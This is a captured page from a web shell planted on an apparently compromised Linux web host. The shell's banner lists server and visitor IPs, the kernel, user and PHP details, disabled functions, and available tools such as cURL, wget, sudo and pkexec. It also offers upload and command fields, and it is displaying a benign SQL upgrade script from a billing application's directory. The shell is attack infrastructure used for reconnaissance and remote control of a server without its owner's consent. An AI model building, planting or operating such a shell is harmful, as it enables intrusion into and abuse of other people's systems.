403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/central/resources/sql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/central/resources/sql/upgrade730alpha1.sql
-- blind_copy_to to tblemailtemplates
set @query = if ((select count(*) from information_schema.columns where table_schema=database() and table_name='tblemailtemplates' and column_name='blind_copy_to') = 0, 'ALTER TABLE `tblemailtemplates` ADD `blind_copy_to` TEXT NOT NULL AFTER `copyto`', 'DO 0;');
prepare statement from @query;
execute statement;
deallocate prepare statement;

-- hidden_widgets to tbladmins
set @query = if ((select count(*) from information_schema.columns where table_schema=database() and table_name='tbladmins' and column_name='hidden_widgets') = 0, 'ALTER TABLE `tbladmins` ADD `hidden_widgets` TEXT COLLATE utf8_unicode_ci NOT NULL AFTER `password_reset_expiry`', 'DO 0;');
prepare statement from @query;
execute statement;
deallocate prepare statement;

-- add primary key to tbladdonmodules
set @query = if ((select count(*) from information_schema.columns where table_schema=database() and table_name='tbladdonmodules' and column_name='id') = 0, 'ALTER TABLE `tbladdonmodules` ADD `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST', 'DO 0;');
prepare statement from @query;
execute statement;
deallocate prepare statement;

-- create jobs queue table
CREATE TABLE IF NOT EXISTS `tbljobs_queue` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL DEFAULT '',
  `class_name` varchar(255) NOT NULL DEFAULT '',
  `method_name` varchar(255) NOT NULL DEFAULT '',
  `input_parameters` text NOT NULL,
  `available_at` datetime NOT NULL,
  `digest_hash` varchar(255) NOT NULL DEFAULT '',
  `created_at` datetime NOT NULL,
  `updated_at` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

Youez - 2016 - github.com/yon3zu
LinuXploit